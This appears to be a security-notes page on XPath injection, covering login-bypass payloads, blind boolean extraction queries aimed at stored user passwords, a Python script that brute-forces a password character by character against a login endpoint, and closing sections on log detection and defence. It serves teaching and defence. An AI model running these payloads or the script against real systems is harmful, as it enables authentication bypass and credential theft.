the_open_door
coffee
ESEN
← Back to index

XPath Injection

ATT&CKT1190

XPath injection appears when an application builds an XPath query (the language for navigating XML documents) by concatenating user input. It is the cousin of SQLi but over an XML document instead of a relational database: with no tables or information_schema, enumeration is done by walking the tree structure (tags, children, attributes) blindly. It serves both to bypass authentication and to extract the whole XML content, credentials included.

Detection is identical to SQLi: a quote that breaks the query and an always-true condition that neutralises it. If 1' or '1'='1 returns all records, the input reaches the query unsanitised:

1' or '1'='1
' or '1'='1              (login bypass: username or password)

Since there is no UNION nor metadata tables, extraction is blind and boolean: you ask about the structure with count(), name(), substring() and string-length(), and the page responds differently (shows the record or not) depending on whether the condition holds. That way, character by character, you discover tag names and their values:

1' and count(/*)=1 and '1'='1                          # how many roots are there?
1' and string-length(name(/*[1]))=7 and '1'='1         # length of the root name
1' and substring(name(/*[1]),1,1)='C' and '1'='1       # first character of the root
1' and substring(//user[1]/password,1,1)='a' and '1'='1  # exfiltrate a sensitive value

That manual sweep is tedious, so it is automated with a script that iterates position and character and detects the change in the response (different HTML length) to confirm each hit:

import requests, string
url, known = "http://<ip>/login", ""
charset = string.ascii_letters + string.digits + "_-@.{}"
for pos in range(1, 60):
    hit = False
    for c in charset:
        p = f"1' and substring(//user[1]/password,{pos},1)='{c}' and '1'='1"
        if "Invalid" not in requests.post(url, data={"username": p, "password": "x"}).text:
            known += c; print(known); hit = True; break
    if not hit: break

Requirements. The backend must build the XPath query by concatenating the input (pattern //user[name/text()='INPUT' and password/text()='INPUT']) without parameterising or escaping. For the login bypass, injecting into username or password is enough; for blind extraction, the response must be observably different between a true and a false condition.

How to detect it. In the application log, the signature is parameters with XPath syntax in inbound traffic: closing quotes followed by or '1'='1, and above all the blind sweep, hundreds of near-identical requests varying the substring() index or the compared character. That repetitive pattern over a single search endpoint is unmistakable and a WAF flags it.

Defence. Do not concatenate input into XPath: use parameterised queries (XPath variables / an API that separates query from data), escape quotes and control characters, and validate the input. Return homogeneous responses so as not to give the boolean oracle. It shares mechanics with SQLi login bypass and blind SQLi.